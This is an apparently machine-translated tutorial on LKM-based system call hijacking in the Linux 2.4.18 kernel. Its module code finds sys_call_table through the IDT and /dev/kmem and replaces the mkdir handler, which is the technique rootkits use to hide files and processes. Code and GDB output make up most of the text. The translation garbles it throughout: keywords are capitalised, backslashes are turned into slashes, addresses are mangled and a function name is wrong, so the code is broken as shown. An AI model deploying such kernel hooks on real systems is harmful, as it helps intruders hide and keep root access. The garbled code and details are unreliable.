Lkm-Based System Call hijacking in linux2.4.18 Kernel
Linux is now used more and more, so the security issues of Linux are gradually becoming more and more people's attention. Rootkit is a tool set used by attackers to hide traces and retain root access permissions. Among these tools, lkm-based rootkit is particularly concerned. These rootkit can be used to hide files, hide processes, and redirect executable files, posing a great threat to Linux security. The technology they use is mainly System Call hijacking. The general steps to intercept system calls using lkm technology are as follows:
Find the required system call entry in sys_call_table [] (refer to include/sys/syscall. h)
Save the old entry pointer of sys_call_table [X. (X indicates the index of the system call to be intercepted)
Store the custom new function pointer to sys_call_table [X].
Before the linux2.4.18 kernel, you can export sys_call_table for direct use. Therefore, it is very easy to modify the system call. The following is an example:
Extern void * sys_call_table [];/* sys_call_table is introduced, so it can be accessed */
INT (* orig_mkdir) (const char * path);/* Save the function pointer called by the original system */
Int hacked_mkdir (const char * path)
{
Return 0;/* everything is normal, except for the new operation, this operation does nothing */
}
Int init_module (void)/* initialization module */
{
Orig_mkdir = sys_call_table [sys_mkdir];
Sys_call_table [sys_mkdir] = hacked_mkdir;
Return 0;
}
Void cleanup_module (void)/* uninstall module */
{
Sys_call_table [sys_mkdir] = orig_mkdir;/* restore the mkdir system to the original one */
}
After linux2.4.18 kernel, sys_call_table cannot be exported directly to solve this security problem. Therefore, if the code above gets the kernel after linux2.4.18 kernel and compiles and loads it, an error is reported during loading. So how can we get sys_call_table and implement system call hijacking?
1. How can I get the address of sys_call_table?
1./dev/kmem
Let's take a look at the introduction from the Linux manual page (man kmem): "kmem is a character device file, an image of the computer's main memory. It can be used to test or even modify the system ." That is to say, reading this device can get data in the memory. Therefore, the address of sys_call_table can also be found through the device. This device usually has RW permission only for the root user, so only the root user can perform these operations.
2. System Call Process Overview
Every system call enters the core through an int 0x80 interrupt. The Interrupt Descriptor Table maps the interrupt service program with the interrupt vector. For system calls, the operating system calls the system_call to interrupt the service program. The system_call function finds and calls the corresponding system call service routine in the system call table based on the system call number.
3. Get the sys_call_table address
The idtr register points to the starting address of the Interrupt Descriptor Table, and obtains the starting address of the Interrupt Descriptor Table using the sidt [ASM ("sidt % 0": "= m" (idtr);] command, the pointer obtained from this command can obtain the location of the int 0x80 interrupt server descriptor, and then calculate the address of the system_call function. Now decompile the system_call function to see the following:
$ GDB-Q/usr/src/Linux/vmlinux
(No debugging symbols found)... (GDB) disass system_call
Dump of worker er code for function system_call:
......
0xc01_bf2 <system_call + 42>: JNE 0xc01_c48 <tracesys>
0xc01_bf4 <system_call + 44>: Call * 0xc01e0f18 (, % eax, 4)
0xc01_bfb <system_call + 51>: mov % eax, 0x18 (% ESP, 1)
0xc00000bff <system_call + 55>: NOP
End of worker er dump.
(GDB) Print & sys_call_table
$1 = (<data variable, no debug info> *) 0xc01e0f18
(GDB) x/Xw (system_call + 44)
0xc00000bf4 <system_call + 44>: 0x188514ff <-- get the machine command (little endian)
(GDB)
We can see that in the system_call function, the call * 0xc01e0f18 command is used to call the system call function. Therefore, you only need to find the machine command for the call sys_call_table (, eax, 4) command in system_call. We use pattern matching to obtain the address of this machine instruction. In this way, data in/dev/kmem must be read.
Ii. How to use standard system calls in Module
To process data in/dev/kmem, you only need to use standard system calls, such as open, lseek, and read.
However, standard system calls cannot be used in the module. To use standard system calls in the module, we need to implement system call functions in the module. Let's look at the implementation in the kernel source code:
# DEFINE _ syscall_return (type, Res )/
Do {/
If (unsigned long) (RES)> = (unsigned long) (-125 )){/
Errno =-(RES );/
Res =-1 ;/
}/
Return (type) (RES );/
} While (0)
# DEFINE _ syscall1 (type, name, type1, arg1 )/
Type name (type1 arg1 )/
{/
Long _ res ;/
_ ASM _ volatile ("int $0x80 "/
: "= A" (_ res )/
: "0" (_ nR _ # name), "B" (long) (arg1 )));/
_ Syscall_return (type ,__ res );/
}
Static inline _ syscall1 (INT, close, Int, FD)
We can learn this method so that we can use these standard system calls in the module as long as we add the code to our module code.
In addition, we can use the memmem function to find the address of sys_call_table by means of matching search. However, memmem is a gnu c extended function. Its prototype is void * memmem (void * s, int s_len, void * t, int t_len). Similarly, the library function cannot be used in the module, but we can implement this function by ourselves.
However, there is still a problem in using standard system calls in the module. The parameters required for system calls must be in the user space rather than in the kernel space where the module is located.
Linux uses the segment selector to differentiate kernel space and user space. Parameters used by system calls stored in user space should be somewhere in the range of the Data Segment selector (referred. DS can be obtained using the get_ds () function in ASM/uaccess. h. As long as we set the segment Selector Used by the kernel to point to the user segment to the required DS value, we can access the system calls in the kernel (those in the user address space) data used for parameter values. This can be done by calling set_fs. But be careful. After accessing the system-called parameters, you must restore the FS. The following is an example:
Filename kernel space. For example, we just created a string
Unsigned long old_fs_value = get_fs ();
Set_fs (get_ds);/* You can access the user space after it is complete */
Open (filename, o_creat | o_rdwr | o_excl, 0640 );
Set_fs (old_fs_value);/* restore Fs ...*/
3. Implement sys_call_table address search code in Module
The main code is as follows:
/* Implement system call */
Unsigned long errno;
# DEFINE _ syscall_return (type, Res )/
Do {/
If (unsigned long) (RES)> = (unsigned long) (-125 )){/
Errno =-(RES );/
Res =-1 ;/
}/
Return (type) (RES );/
} While (0)
# DEFINE _ syscall1 (type, name, type1, arg1 )/
Type name (type1 arg1 )/
{/
Long _ res ;/
_ ASM _ volatile ("int $0x80 "/
: "= A" (_ res )/
: "0" (_ nR _ # name), "B" (long) (arg1 )));/
_ Syscall_return (type ,__ res );/
}
# DEFINE _ syscall3 (type, name, type1, arg1, type2, arg2, type3, arg3 )/
Type name (type1 arg1, type2 arg2, type3 arg3 )/
{/
Long _ res ;/
_ ASM _ volatile ("int $0x80 "/
: "= A" (_ res )/
: "0" (_ nR _ # name), "B" (long) (arg1), "C" (long) (arg2 )),/
"D" (long) (arg3 )));/
_ Syscall_return (type ,__ res );/
}
Static inline _ syscall3 (INT, write, Int, FD, const char *, Buf, off_t, count)
Static inline _ syscall3 (INT, read, Int, FD, char *, Buf, off_t, count)
Static inline _ syscall3 (off_t, lseek, Int, FD, off_t, offset, Int, count)
Static inline _ syscall3 (INT, open, const char *, file, Int, flag, Int, Mode)
Static inline _ syscall1 (INT, close, Int, FD)
/* From here you can use these systems to call */
Struct {
Unsigned short limit;
Unsigned int base;
} _ Attribute _ (packed) idtr;
Struct {
Unsigned short off1;
Unsigned short sel;
Unsigned char none, flags;
Unsigned short off2;
} _ Attribute _ (packed) IDT;
Int kmem;
Void readkmem (void * m, unsigned off, int sz)
{
Mm_segment_t old_fs_value = get_fs ();
Set_fs (get_ds ());
If (lseek (kmem, off, 0 )! = OFF ){
Printk ("kmem lseek error in Read/N"); return;
}
If (read (kmem, M, SZ )! = Sz ){
Printk ("kmem read error! /N "); return;
}
Set_fs (old_fs_value );
}
# Define calloff 100/* We will read the first 100 bytes of int $0x80 */
/* Get the address of sys_call_table */
Unsigned getsctable ()
{
Unsigned SCT;
Unsigned sys_call_off;
Char SC _asm [calloff], * P;
/* Obtain the value of the idtr register */
ASM ("sidt % 0": "= m" (idtr ));
Mm_segment_t old_fs_value = get_fs ();
Const char * filename = "/dev/kmem ";
Set_fs (get_ds ());
/* Open kmem */
Kmem = open (filename, o_rdonly, 0640 );
If (kmem <0)
{
Printk ("Open error! ");
}
Set_fs (old_fs_value );
/* Read the 0x80 vector (syscall) from IDT )*/
Readkmem (& IDT, idtr. Base + 8*0x80, sizeof (IDT ));
Sys_call_off = (IDT. off2 <16) | IDT. off1;
/* Find the address of sys_call_table */
Readkmem (SC _asm, sys_call_off, calloff );
P = (char *) mymem (SC _asm, calloff, "/xFF/x14/x85", 3 );
SCT = * (unsigned *) (p + 3 );
Close (kmem );
Return SCT;
}
Okay, but the above function does not do enough error checks.
Iv. hijacking system calls
After obtaining the sys_call_table address, we can easily hijack the system call.
Let's modify the first example to run it on the 2.4.18 kernel.
The main code of the System Call hijacking process is as follows:
Static unsigned sys_call_table_addr;
Void ** sys_call_table;
Int init_module (void)
{
Sys_call_table_addr = getsctable ();
Sys_call_table = (void **) sys_call_table_addr;
Orig_mkdir = sys_call_table [_ nr_mkdir];
Sys_call_table [_ nr_mkdir] = hacked_mkdir;
Return 0;
}
Void cleanup_module (void)
{
Sys_call_table [_ nr_mkdir] = orig_mkdir;
}
V. Summary
Although sys_call_table will not be exported after kernel 2.4.18, we can still get its address by reading the/dev/kmem device file to hijack the system call. To solve this problem, it is best to make/dev/kmem unreadable or simply not use this device file. Otherwise, security risks will always be raised.
References:
Phrack58-0x07 Linux on-the-fly Kernel Patching without lkm
(Nearly) Complete Linux loadable kernel modules-the definitive guide for hackers, virus coders and System Administrators-written by pragmatic/THC, version 1.0 released 03/1999